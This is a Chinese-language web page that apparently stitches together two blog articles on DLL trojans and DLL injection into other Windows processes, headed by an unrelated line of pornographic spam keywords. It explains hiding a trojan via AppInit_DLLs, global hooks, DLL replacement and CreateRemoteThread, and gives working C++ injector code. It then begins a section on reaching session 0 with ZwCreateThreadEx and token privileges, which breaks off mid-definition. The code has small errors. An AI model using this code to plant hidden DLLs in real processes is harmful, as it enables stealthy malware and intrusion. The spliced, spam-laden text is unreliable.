操屁眼的视频在线免费看,日本在线综合一区二区,久久在线观看免费视频,欧美日韩精品久久综

新聞資訊

    什么是DLL?首先來簡單的介紹下

    DLL與一般程序沒什么大差別,只是它不能獨立運行,需要程序調用。DLL的代碼和普通程序代碼的區(qū)別僅僅是接口和啟動模式不同。可以把DLL看成缺少了main入口的EXE程序。DLL帶的各個功能函數(shù)可以看作一個程序的幾個函數(shù)模塊。DLL木馬就是把一個實現(xiàn)了木馬功能的代碼,加上一些特殊代碼寫成DLL文件,導出相關的API。外部看來這只是一個普通的DLL,但是這個DLL卻攜帶了完整的木馬功能,這就是DLL木馬的概念。因為DLL運行時是直接掛在調用它的程序的進程里的,并不會另外產(chǎn)生進程,所以相對于傳統(tǒng)EXE木馬來說,DLL木馬的隱蔽性更強,它很難被查到。

    DLL木馬的實現(xiàn)原理是編程者在DLL中包含木馬程序代碼,隨后在目標主機中選擇特定目標進程,以某種方式強行指定該進程調用包含木馬程序的DLL,或者以某種方式將DLL強行注入到目標進程的地址空間中。最終達到侵襲目標系統(tǒng)的目的。正是DLL自身的特點決定了以這種形式加載木馬不僅可行,而且具有很好的隱藏性:一旦DLL被映射到目標進程的地址空間中,它就能夠共享目標進程的資源,并能訪問相應的系統(tǒng)資源;然后是DLL程序沒有獨立的進程地址空間,從而在目標主機中運行的時候很好地隱藏了自己。

    下面來看看具體的注入方法,有多種方法可以實現(xiàn)DLL的注入。常用的方法有以下幾種:

    (1)使用注冊表來注入DLL

    整個系統(tǒng)的配置都是在注冊表中維護的,可以通過調整它的設置來改變系統(tǒng)的行為特性。該方法主要依賴下面的關鍵字:

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

    下圖顯示了使用Registry Editor(注冊表編輯器)時該關鍵字中的各個項目的形式。該關鍵字的值包含一個DLL文件名或者一組DLL文件名(用空格或逗號隔開)。由于空格用來將文件名隔開,因此必須避免使用包含空格的文件名。列出的第一個DLL文件名可以包含一個路徑,但是包含路徑的其它DLL均被忽略。由于這個原因,最好將DLL放入Windows的系統(tǒng)目錄中,這樣就不必設定路徑。下圖是把該鍵值設置成為單個DLL木馬路徑名C:\backdoordll.dll。

    使用注冊表注入DLL

    當重新啟動計算機及Windows進行初始化時,系統(tǒng)將保存這個關鍵字的值。然后,當User32.dll庫被映射到進程中時,它將接收到一個DLL_PROCESS_ATTACH通知。當這個通知被處理時,User32.dll便檢索保存的這個關鍵字中的值,并且為字符串中指定的每個DLL調用LoadLibrary函數(shù)。當每個庫被加載時,便調用與該庫相關的DllMain函數(shù),其fdwReason的值是DLL_PROCESS_ATTACH,這樣,每個庫就能夠對自己進行初始化。由于注入的DLL在進程中早早地就進行了加載,因此在調用函數(shù)時應該格外小心。調用kernel32.dll中的函數(shù)時出現(xiàn)什么問題,不過調用其它DLL中的函數(shù)時就可能產(chǎn)生一些問題。User32.dll并不檢查每個庫的初始化是否取得成功。

    (2)使用Windows掛鉤來注入DLL。

    應用程序會接收計算機中與應用程序相關的許多事件的消息。例如,在應用程序的某個窗口處于活動狀態(tài)時或當輸入一個按鍵或單擊鼠標時,它都可以接收事件信息。

    微軟公司定義了一個能夠鉤住另一個進程中的窗口消息的函數(shù)SetWindowHookEx,該函數(shù)能夠有效地將DLL加載到另一個進程的地址空間中。

    假定DLL試圖注入的應用程序稱為進程B。一個稱為進程A的獨立程序可以調用SetWindowsHookEx函數(shù)。其原型如下:


    上面列出了4個參數(shù)。第一個參數(shù)是出發(fā)鉤子的事件消息的類型,例如安裝了監(jiān)視擊鍵消息的WH_KEYBOARD;第二個參數(shù)標識了窗口要處理指定消息時系統(tǒng)應該調用的地址;第三個參數(shù)包含了該函數(shù)的DLL的虛存地址;最后一個參數(shù)是要鉤住的線程。若該參數(shù)為0,則系統(tǒng)鉤住當前Windows桌面中的所有線程。

    若進程A調用了SetWindowsHookEx(WH_KEYBOARD, myFunc,myDll, 0),當進程B要接收一個鍵盤事件時,進程B將加載函數(shù)myFunc,并且調用由參數(shù)myDll所指定的DLL。與注入DLL的注冊表方法不同,這個方法允許在另一個進程的地址空間中不再需要DLL時刪除該DLL的映像,方法是調用下面的函數(shù):

    BOOL UnhookWindowsHookEx(HHOOK hhook)當一個線程調用UnhookWindowdHookEx函數(shù)時,系統(tǒng)將遍歷它必須將DLL注入到的各個進程的內(nèi)部列表,并且對DLL的自動跟蹤計數(shù)進行遞減。當自動跟蹤計數(shù)遞減為0時,DLL就自動從進程的地址空間中卸載。應該記得,就在系統(tǒng)調用GetMsgProc函數(shù)之前,它對DLL的自動跟蹤計數(shù)進行了遞增。這可以防止產(chǎn)生內(nèi)存訪問違規(guī)。如果該自動跟蹤計數(shù)沒有遞增,那么當進程B的線程試圖執(zhí)行GetMsgProc函數(shù)中的代碼時系統(tǒng)中運行的另一個線程就可以調用UnhookWindowsHookEx函數(shù)。

    (3)使用特洛伊DLL來注入DLL。

    注入DLL的另一種方法是取代進程將要加載的DLL。例如,如果一個進程將要加載Xyz.dll,就可以創(chuàng)建相同文件名的DLL。也就是說把backdoordll.dll名改成Xyz.dll。當然,必須將原來的Xyz.dll改為別的什么名字。

    在修改后的Xyz.dll中,輸出的全部符號必須與原始的Xyz.dll輸出的符號相同。使用函數(shù)轉發(fā)器,很容易做到這一點。雖然函數(shù)轉發(fā)器能夠非常容易地掛接某些函數(shù),但是應該避免使用這種方法,因為它不具備版本升級能力。例如,如果取代了一個系統(tǒng)DLL,而Microsoft在將來增加了一些新函數(shù),那么這DLL將不具備它們的函數(shù)轉發(fā)器。引用這些新函數(shù)的應用程序將無法加載和執(zhí)行。

    如果只想在單個應用程序中使用這種方法,那么可以為DLL木馬賦予一個獨一無二的名字,并改變應用程序的.exe模塊的輸入節(jié)。因為輸入節(jié)中只包含模塊需要的DLL的名字。這種方法相當不錯,但是必須要非常熟悉.exe和DLL文件的格式。

    (4)使用遠程線程來注入DLL。

    使用遠程線程注入DLL,這種方法具有更大的靈活性。

    這種DLL注入方法基本上要求目標進程中的線程調用LoadLibrary函數(shù)來加載必要的DLL。由于除了自己進程中的線程外,無法方便地控制其它進程中的線程,因此這種解決方案要求在目標進程中創(chuàng)建一個新線程。由于是自己創(chuàng)建這個線程因此能夠控制它執(zhí)行什么代碼。Windows提供的一個稱為CreateRemoteThread的函數(shù),該函數(shù)能夠在另一個進程中創(chuàng)建線程:


    CreateRemoteThread與CreateThread很相似,差別在于它增加了一個參數(shù)hProcess,該參數(shù)指明擁有新創(chuàng)建線程的進程。第二個參數(shù)psa指向線程的安全描述結構體的指針,一般設置為NULL,表示使用默認的安全級別。第三個參數(shù)dwStackSize表示線程堆棧大小,一般設置為0,表示使用默認的大小,一般為1M。第四個參數(shù)pfnStartAddr指明線程函數(shù)的內(nèi)存地址。當然,該內(nèi)存地址與遠程進程是相關的。第五個參數(shù)pvParam是所建遠程線程的參數(shù)。第六個參數(shù)fdwCreate是線程的創(chuàng)建方式如果設為CREATE_SUSPENDED,表示線程以掛起方式創(chuàng)建。最后一個參數(shù)是所建線程的ID。

    通過以上的參數(shù)分析可知,使用該方法來注入DLL的話,本質上,必須進行的操作是執(zhí)行類似下面的一行代碼:


    其中hProcessRemote是被插進程的句柄。backdoordll.dll是等待掛接的DLL木馬。當然LoadLibraryA是用來加載backdoordll.dll。

    當在遠程進程中創(chuàng)建新線程時,該線程將立即調用LoadLibraryA(或者LoadLibraryW)函數(shù),并將DLL的路徑名的地址傳遞給它。這時需要考慮另外兩個問題:第一個問題是如果直接將LoadLibraryA作為參數(shù)傳遞給CreateRemoteThread函數(shù),此時的LoadLibraryA是調用CreateRemoteThread這個進程里的LoadLibraryA地址,而并非是遠程進程中的LoadLibraryA地址,所以直接調用的話必定是失敗的,有時還會出現(xiàn)亂碼。

    必須通過調用GetProcAddress函數(shù),獲取LoadLibraryA的準確內(nèi)存位置。那么如何通過GetProcAddress函數(shù)來獲取LoadLibraryA的準確內(nèi)存位置呢?其實LoadLibraryA是在模塊Kernel32.dll中的,而每個進程掛載Kernel32.dll的內(nèi)存位置也是不變的,所以可以通過Kernel32.dll來獲取LoadLibrary的地址。調用方式如下:


    第二個問題與DLL路徑名字符串有關。字符串“C:\MyLib.DLL”是在調用進程的地址空間中。該字符串的地址已經(jīng)被賦予新創(chuàng)建的遠程線程,該線程將它傳遞給LoadLibraryA。但是,當LoadLibraryA取消對內(nèi)存地址的引用時,DLL路徑名字符串將不再存在,遠程進程的線程就可能引發(fā)訪問違規(guī),向用戶顯示一個未處理的異常條件消息框,并且遠程進程終止運行。

    為了解決這個問題,必須將DLL的路徑名字符串放入遠程進程的地址空間中。然后,當CreateRemoteThread函數(shù)被調用時,必須將放置該字符串的地址(相對于遠程進程的地址)傳遞給它。具體實現(xiàn)過程中可以調用VirtualAllocEx和WriteProcessMemory函數(shù)來完成。概括起來說就4個步驟:

    (1) 使用VirtualAllocEx函數(shù),分配遠程進程的地址空間中的內(nèi)存。

    (2) 使用WriteProcessMemory函數(shù),將DLL的路徑名拷貝到第一個步驟中已經(jīng)分配的內(nèi)存中。

    (3) 使用GetProcAddress函數(shù),獲取LoadLibraryA或LoadLibraryW函數(shù)的實地址(在Kernel32.dll中)。

    (4) 使用CreateRemoteThread函數(shù),在遠程進程中創(chuàng)建一個線程,它調用正確的LoadLibrary函數(shù),為它傳遞第一個步驟中分配的內(nèi)存的地址。

    今天要講的就是上面這些,感興趣的朋友加個關注留言討論,有什么想看的話題歡迎評論,一起進步

    何為dll注入

    DLL注入技術,一般來講是向一個正在運行的進程插入/注入代碼的過程。我們注入的代碼以動態(tài)鏈接庫(DLL)的形式存在。DLL文件在運行時將按需加載(類似于UNIX系統(tǒng)中的共享庫(share object,擴展名為.so))。然而實際上,我們可以以其他的多種形式注入代碼(正如惡意軟件中所常見的,任意PE文件,shellcode代碼/程序集等)。

    全局鉤子注入

    在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數(shù),根據(jù)不同消息完成不同功能,windows通過鉤子機制來截獲和監(jiān)視系統(tǒng)中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現(xiàn)相應的鉤子函數(shù)。

    核心函數(shù)

    SetWindowsHookEx

    HHOOK WINAPI SetWindowsHookEx(
    __in int idHook, \\鉤子類型
    __in HOOKPROC lpfn, \\回調函數(shù)地址
    __in HINSTANCE hMod, \\實例句柄
    __in DWORD dwThreadId); \\線程ID

    通過設定鉤子類型與回調函數(shù)的地址,將定義的鉤子函數(shù)安裝到掛鉤鏈中。如果函數(shù)成功返回鉤子的句柄,如果函數(shù)失敗,則返回NULL

    實現(xiàn)原理

    由上述介紹可以知道如果創(chuàng)建的是全局鉤子,那么鉤子函數(shù)必須在一個DLL中。這是因為進程的地址空間是獨立的,發(fā)生對應事件的進程不能調用其他進程地址空間的鉤子函數(shù)。如果鉤子函數(shù)的實現(xiàn)代碼在DLL中,則在對應事件發(fā)生時,系統(tǒng)會把這個DLL加較到發(fā)生事體的進程地址空間中,使它能夠調用鉤子函數(shù)進行處理。

    在操作系統(tǒng)中安裝全局鉤子后,只要進程接收到可以發(fā)出鉤子的消息,全局鉤子的DLL文件就會由操作系統(tǒng)自動或強行地加載到該進程中。因此,設置全局鉤子可以達到DLL注入的目的。創(chuàng)建一個全局鉤子后,在對應事件發(fā)生的時候,系統(tǒng)就會把 DLL加載到發(fā)生事件的進程中,這樣,便實現(xiàn)了DLL注入。

    為了能夠讓DLL注入到所有的進程中,程序設置WH_GETMESSAGE消息的全局鉤子。因為WH_GETMESSAGE類型的鉤子會監(jiān)視消息隊列,并且 Windows系統(tǒng)是基于消息驅動的,所以所有進程都會有自己的一個消息隊列,都會加載 WH_GETMESSAGE類型的全局鉤子DLL。

    那么設置WH_GETMESSAGE就可以通過以下代碼實現(xiàn),記得加上判斷是否設置成功

    // 設置全局鉤子
    
    BOOL SetHook()
    {
        g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
    
        if (g_Hook == NULL)
        {
            return FALSE;
        }
    
        return TRUE;
    }

    這里第二個參數(shù)是回調函數(shù),那么我們還需要寫一個回調函數(shù)的實現(xiàn),這里就需要用到CallNextHookEx這個api,主要是第一個參數(shù),這里傳入鉤子的句柄的話,就會把當前鉤子傳遞給下一個鉤子,若參數(shù)傳入0則對鉤子進行攔截

    // 鉤子回調函數(shù)
    LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
    {
        return ::CallNextHookEx(g_Hook, code, wParam, lParam);
    }

    既然我們寫入了鉤子,如果不使用的情況下就需要將鉤子卸載掉,那么這里使用到UnhookWindowsHookEx這個api來卸載鉤子

    // 卸載鉤子
    BOOL UnsetHook()
    {
        if (g_Hook)
        {
            ::UnhookWindowsHookEx(g_Hook);
        }
    }

    既然我們使用到了SetWindowsHookEx這個api,就需要進行進程間的通信,進程通信的方法有很多,比如自定義消息、管道、dll共享節(jié)、共享內(nèi)存等等,這里就用共享內(nèi)存來實現(xiàn)進程通信

    // 共享內(nèi)存
    #pragma data_seg("mydata")
        HHOOK g_hHook = NULL;
    #pragma data_seg()
    #pragma comment(linker, "/SECTION:mydata,RWS"

    實現(xiàn)過程

    首先新建一個dll

    pch.h頭文件里面聲明這幾個我們定義的函數(shù)都是裸函數(shù),由我們自己平衡堆棧

    extern "C" _declspec(dllexport) int SetHook();
    extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
    extern "C" _declspec(dllexport) BOOL UnsetHook();

    然后在pch.cpp里面寫入三個函數(shù)并創(chuàng)建共享內(nèi)存

    // pch.cpp: 與預編譯標頭對應的源文件
    
    #include "pch.h"
    #include <windows.h>
    #include <stdio.h>
    
    
    extern HMODULE g_hDllModule;
    
    // 共享內(nèi)存
    #pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
    #pragma data_seg()
    #pragma comment(linker, "/SECTION:mydata,RWS")
    
    //鉤子回調函數(shù)
    LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
        return ::CallNextHookEx(g_hHook, code, wParam, lParam);
    }
    
    // 設置鉤子
    BOOL SetHook() {
        g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
        if (NULL == g_hHook) {
            return FALSE;
        }
        return TRUE;
    }
    
    // 卸載鉤子
    BOOL UnsetHook() {
        if (g_hHook) {
            UnhookWindowsHookEx(g_hHook);
        }
        return TRUE;
    }

    然后再在dllmain.cpp設置DLL_PROCESS_ATTACH,然后編譯生成Golbal.dll

    // dllmain.cpp : 定義 DLL 應用程序的入口點。
    #include "pch.h"
    HMODULE g_hDllModule = NULL;
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH: 
        {
            g_hDllModule = hModule;
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }

    再創(chuàng)建一個控制臺項目

    使用LoadLibrabryW加載dll,生成GolbalInjectDll.cpp文件

    // GolbalInjectDll.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結束。
    //
    
    #include <iostream>
    #include <Windows.h>
    
    int main()
    {
        typedef BOOL(*typedef_SetGlobalHook)();
        typedef BOOL(*typedef_UnsetGlobalHook)();
        HMODULE hDll = NULL;
        typedef_SetGlobalHook SetGlobalHook = NULL;
        typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
        BOOL bRet = FALSE;
    
        do
        {
            hDll = ::LoadLibraryW(TEXT("F:\\C++\\GolbalDll\\Debug\\GolbalDll.dll"));
            if (NULL == hDll)
            {
                printf("LoadLibrary Error[%d]\n", ::GetLastError());
                break;
            }
    
            SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
            if (NULL == SetGlobalHook)
            {
                printf("GetProcAddress Error[%d]\n", ::GetLastError());
                break;
            }
    
            bRet = SetGlobalHook();
            if (bRet)
            {
                printf("SetGlobalHook OK.\n");
            }
            else
            {
                printf("SetGlobalHook ERROR.\n");
            }
    
            system("pause");
    
            UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
            if (NULL == UnsetGlobalHook)
            {
                printf("GetProcAddress Error[%d]\n", ::GetLastError());
                break;
            }
            UnsetGlobalHook();
            printf("UnsetGlobalHook OK.\n");
    
        } while (FALSE);
    
        system("pause");
        return 0;
    }

    執(zhí)行即可注入GolbalDll.dll

    遠程線程注入

    遠程線程函數(shù)顧名思義,指一個進程在另一個進程中創(chuàng)建線程。

    核心函數(shù)

    CreateRemoteThread

    HANDLE CreateRemoteThread(
      HANDLE                 hProcess,
      LPSECURITY_ATTRIBUTES  lpThreadAttributes,
      SIZE_T                 dwStackSize,
      LPTHREAD_START_ROUTINE lpStartAddress,
      LPVOID                 lpParameter,
      DWORD                  dwCreationFlags,
      LPDWORD                lpThreadId
    );

    lpStartAddress:A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc).

    lpParameter:A pointer to a variable to be passed to the thread function.

    lpStartAddress即線程函數(shù),使用LoadLibrary的地址作為線程函數(shù)地址;lpParameter為線程函數(shù)參數(shù),使用dll路徑作為參數(shù)

    VirtualAllocEx

    是在指定進程的虛擬空間保留或提交內(nèi)存區(qū)域,除非指定MEM_RESET參數(shù),否則將該內(nèi)存區(qū)域置0。

    LPVOID VirtualAllocEx(
      HANDLE hProcess,
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );

    hProcess:申請內(nèi)存所在的進程句柄

    lpAddress:保留頁面的內(nèi)存地址;一般用NULL自動分配 。

    dwSize:欲分配的內(nèi)存大小,字節(jié)單位;注意實際分 配的內(nèi)存大小是頁內(nèi)存大小的整數(shù)倍。

    flAllocationType

    可取下列值:

    MEM_COMMIT:為特定的頁面區(qū)域分配內(nèi)存中或磁盤的頁面文件中的物理存儲

    MEM_PHYSICAL :分配物理內(nèi)存(僅用于地址窗口擴展內(nèi)存)

    MEM_RESERVE:保留進程的虛擬地址空間,而不分配任何物理存儲。保留頁面可通過繼續(xù)調用VirtualAlloc()而被占用

    MEM_RESET :指明在內(nèi)存中由參數(shù)lpAddress和dwSize指定的數(shù)據(jù)無效

    MEM_TOP_DOWN:在盡可能高的地址上分配內(nèi)存(Windows 98忽略此標志)

    MEM_WRITE_WATCH:必須與MEM_RESERVE一起指定,使系統(tǒng)跟蹤那些被寫入分配區(qū)域的頁面(僅針對Windows 98)

    flProtect

    可取下列值:

    PAGE_READONLY: 該區(qū)域為只讀。如果應用程序試圖訪問區(qū)域中的頁的時候,將會被拒絕訪

    PAGE_READWRITE 區(qū)域可被應用程序讀寫

    PAGE_EXECUTE: 區(qū)域包含可被系統(tǒng)執(zhí)行的代碼。試圖讀寫該區(qū)域的操作將被拒絕。

    PAGE_EXECUTE_READ :區(qū)域包含可執(zhí)行代碼,應用程序可以讀該區(qū)域。

    PAGE_EXECUTE_READWRITE: 區(qū)域包含可執(zhí)行代碼,應用程序可以讀寫該區(qū)域。

    PAGE_GUARD: 區(qū)域第一次被訪問時進入一個STATUS_GUARD_PAGE異常,這個標志要和其他保護標志合并使用,表明區(qū)域被第一次訪問的權限

    PAGE_NOACCESS: 任何訪問該區(qū)域的操作將被拒絕

    PAGE_NOCACHE: RAM中的頁映射到該區(qū)域時將不會被微處理器緩存(cached)

    注:PAGE_GUARD和PAGE_NOCHACHE標志可以和其他標志合并使用以進一步指定頁的特征。PAGE_GUARD標志指定了一個防護頁(guard page),即當一個頁被提交時會因第一次被訪問而產(chǎn)生一個one-shot異常,接著取得指定的訪問權限。PAGE_NOCACHE防止當它映射到虛擬頁的時候被微處理器緩存。這個標志方便設備驅動使用直接內(nèi)存訪問方式(DMA)來共享內(nèi)存塊。

    WriteProcessMemory

    此函數(shù)能寫入某一進程的內(nèi)存區(qū)域(直接寫入會出Access Violation錯誤),故需此函數(shù)入口區(qū)必須可以訪問,否則操作將失敗。

    BOOL WriteProcessMemory(
      HANDLE  hProcess,         //進程句柄
      LPVOID  lpBaseAddress,    //寫入的內(nèi)存首地址
      LPCVOID lpBuffer,         //要寫數(shù)據(jù)的指針
      SIZE_T  nSize,            //x
      SIZE_T  *lpNumberOfBytesWritten
    );

    實現(xiàn)原理

    使用CreateRemoteThread這個API,首先使用CreateToolhelp32Snapshot拍攝快照獲取pid,然后使用Openprocess打開進程,使用VirtualAllocEx

    遠程申請空間,使用WriteProcessMemory寫入數(shù)據(jù),再用GetProcAddress獲取LoadLibraryW的地址(由于Windows引入了基址隨機化ASLR安全機制,所以導致每次開機啟動時系統(tǒng)DLL加載基址都不一樣,有些系統(tǒng)dll(kernel,ntdll)的加載地址,允許每次啟動基址可以改變,但是啟動之后必須固定,也就是說兩個不同進程在相互的虛擬內(nèi)存中,這樣的系統(tǒng)dll地址總是一樣的),在注入進程中創(chuàng)建線程(CreateRemoteThread)

    實現(xiàn)過程

    首先生成一個dll文件,實現(xiàn)簡單的彈窗即可

    // dllmain.cpp : 定義 DLL 應用程序的入口點。
    #include "pch.h"
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
        case DLL_THREAD_ATTACH:
            MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }

    我們要想進行遠程線程注入,那么就需要得到進程的pid,這里使用到的是CreateToolhelp32Snapshot這個api拍攝快照來進行獲取,注意我這里定義了#include "tchar.h",所有函數(shù)都是使用的寬字符

    // 通過進程快照獲取PID
    DWORD _GetProcessPID(LPCTSTR lpProcessName)
    {
          DWORD Ret = 0;
          PROCESSENTRY32 p32;
    
          HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
          if (lpSnapshot == INVALID_HANDLE_VALUE)
          {
              printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());
    
              return Ret;
          }
    
          p32.dwSize = sizeof(PROCESSENTRY32);
          ::Process32First(lpSnapshot, &p32);
    
          do {
              if (!lstrcmp(p32.szExeFile, lpProcessName))
              {
                  Ret = p32.th32ProcessID;
                  break;
              }
          } while (::Process32Next(lpSnapshot, &p32));
    
          ::CloseHandle(lpSnapshot);
          return Ret;
    }

    首先使用OpenProcess打開進程

    hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);

    然后使用VirtualAllocEx遠程申請空間

    pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);

    然后寫入內(nèi)存,使用WriteProcessMemory

    Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);

    然后創(chuàng)建線程并等待線程函數(shù)結束,這里WaitForSingleObject的第二個參數(shù)要設置為-1才能夠一直等待

    //在另一個進程中創(chuàng)建線程
    hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
    
    
    //等待線程函數(shù)結束,獲得退出碼
    WaitForSingleObject(hThread, -1);
    GetExitCodeThread(hThread, &DllAddr);

    綜上完整代碼如下

    // RemoteThreadInject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結束。
    //
    
    #include <iostream>
    #include <windows.h>
    #include <TlHelp32.h>
    #include "tchar.h"
    char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";
    
    //通過進程快照獲取PID
    DWORD _GetProcessPID(LPCTSTR lpProcessName)
    {
          DWORD Ret = 0;
          PROCESSENTRY32 p32;
    
          HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
          if (lpSnapshot == INVALID_HANDLE_VALUE)
          {
              printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError());
    
              return Ret;
          }
    
          p32.dwSize = sizeof(PROCESSENTRY32);
          ::Process32First(lpSnapshot, &p32);
    
          do {
              if (!lstrcmp(p32.szExeFile, lpProcessName))
              {
                  Ret = p32.th32ProcessID;
                  break;
              }
          } while (::Process32Next(lpSnapshot, &p32));
    
          ::CloseHandle(lpSnapshot);
          return Ret;
    }
    
    
     //打開一個進程并為其創(chuàng)建一個線程
    DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
    {
             //打開進程
             HANDLE hprocess;
             HANDLE hThread;
             DWORD _Size = 0;
             BOOL Write = 0;
             LPVOID pAllocMemory = NULL;
             DWORD DllAddr = 0;
             FARPROC pThread;
    
             hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
             //Size = sizeof(string_inject);
             _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
    
             //遠程申請空間
             pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
    
             if (pAllocMemory == NULL)
                 {
                     printf("VirtualAllocEx - Error!");
                     return FALSE;
                 }
    
             // 寫入內(nèi)存
             Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
    
             if (Write == FALSE)
                 {
                     printf("WriteProcessMemory - Error!");
                     return FALSE;
                 }
    
    
             //獲取LoadLibrary的地址
             pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
             LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
    
             //在另一個進程中創(chuàng)建線程
             hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
    
             if (hThread == NULL)
                 {
                     printf("CreateRemoteThread - Error!");
                     return FALSE;1
                 }
    
             //等待線程函數(shù)結束,獲得退出碼
             WaitForSingleObject(hThread, -1);
             GetExitCodeThread(hThread, &DllAddr);
    
             //釋放DLL空間
             VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
    
             //關閉線程句柄
             ::CloseHandle(hprocess);
             return TRUE;
    }
     int main()
    {
         DWORD PID = _GetProcessPID(L"test.exe");
         _RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
    }

    然后這里生成一個test.exe來做測試

    編譯并運行,實現(xiàn)效果如下

    突破session 0的遠程線程注入

    首先提一提session0的概念:

    Intel的CPU將特權級別分為4個級別:RING0,RING1,RING2,RING3。Windows只使用其中的兩個級別RING0和RING3,RING0只給操作系統(tǒng)用,RING3誰都能用。如果普通應用程序企圖執(zhí)行RING0指令,則Windows會顯示“非法指令”錯誤信息。

    ring0是指CPU的運行級別,ring0是最高級別,ring1次之,ring2更次之…… 拿Linux+x86來說, 操作系統(tǒng)(內(nèi)核)的代碼運行在最高運行級別ring0上,可以使用特權指令,控制中斷、修改頁表、訪問設備等等。 應用程序的代碼運行在最低運行級別上ring3上,不能做受控操作。如果要做,比如要訪問磁盤,寫文件,那就要通過執(zhí)行系統(tǒng)調用(函數(shù)),執(zhí)行系統(tǒng)調用的時候,CPU的運行級別會發(fā)生從ring3到ring0的切換,并跳轉到系統(tǒng)調用對應的內(nèi)核代碼位置執(zhí)行,這樣內(nèi)核就為你完成了設備訪問,完成之后再從ring0返回ring3。這個過程也稱作用戶態(tài)和內(nèi)核態(tài)的切換。

    RING設計的初衷是將系統(tǒng)權限與程序分離出來,使之能夠讓OS更好地管理當前系統(tǒng)資源,也使得系統(tǒng)更加穩(wěn)定。舉個RING權限的最簡單的例子:一個停止響應的應用程式,它運行在比RING0更低的指令環(huán)上,你不必大費周章地想著如何使系統(tǒng)恢復運作,這期間,只需要啟動任務管理器便能輕松終止它,因為它運行在比程式更低的RING0指令環(huán)中,擁有更高的權限,可以直接影響到RING0以上運行的程序,當然有利就有弊,RING保證了系統(tǒng)穩(wěn)定運行的同時,也產(chǎn)生了一些十分麻煩的問題。比如一些OS虛擬化技術,在處理RING指令環(huán)時便遇到了麻煩,系統(tǒng)是運行在RING0指令環(huán)上的,但是虛擬的OS畢竟也是一個系統(tǒng),也需要與系統(tǒng)相匹配的權限。而RING0不允許出現(xiàn)多個OS同時運行在上面,最早的解決辦法便是使用虛擬機,把OS當成一個程序來運行。

    核心函數(shù)

    ZwCreateThreadEx

    注意一下這個地方ZwCreateThreadEx這個函數(shù)在32位和64位中的定義不同

    在32位的情況下

    DWORD WINAPI ZwCreateThreadEx(
             PHANDLE ThreadHandle,
             ACCESS_MASK DesiredAccess,
             LPVOID ObjectAttributes,
             HANDLE ProcessHandle,
             LPTHREAD_START_ROUTINE lpStartAddress,
             LPVOID lpParameter,
             BOOL CreateSuspended,
             DWORD dwStackSize,
             DWORD dw1,
             DWORD dw2,
             LPVOID pUnkown);

    在64位的情況下

    DWORD WINAPI ZwCreateThreadEx(
             PHANDLE ThreadHandle,
             ACCESS_MASK DesiredAccess,
             LPVOID ObjectAttributes,
             HANDLE ProcessHandle,
             LPTHREAD_START_ROUTINE lpStartAddress,
             LPVOID lpParameter,
             ULONG CreateThreadFlags,
             SIZE_T ZeroBits,
             SIZE_T StackSize,
             SIZE_T MaximumStackSize,
             LPVOID pUnkown);

    這里因為我們要進到session 0那么就勢必要到system權限,所以這里還有幾個提權需要用到的函數(shù)

    OpenProcessToken

    BOOL OpenProcessToken(
    __in HANDLE ProcessHandle, //要修改訪問權限的進程句柄
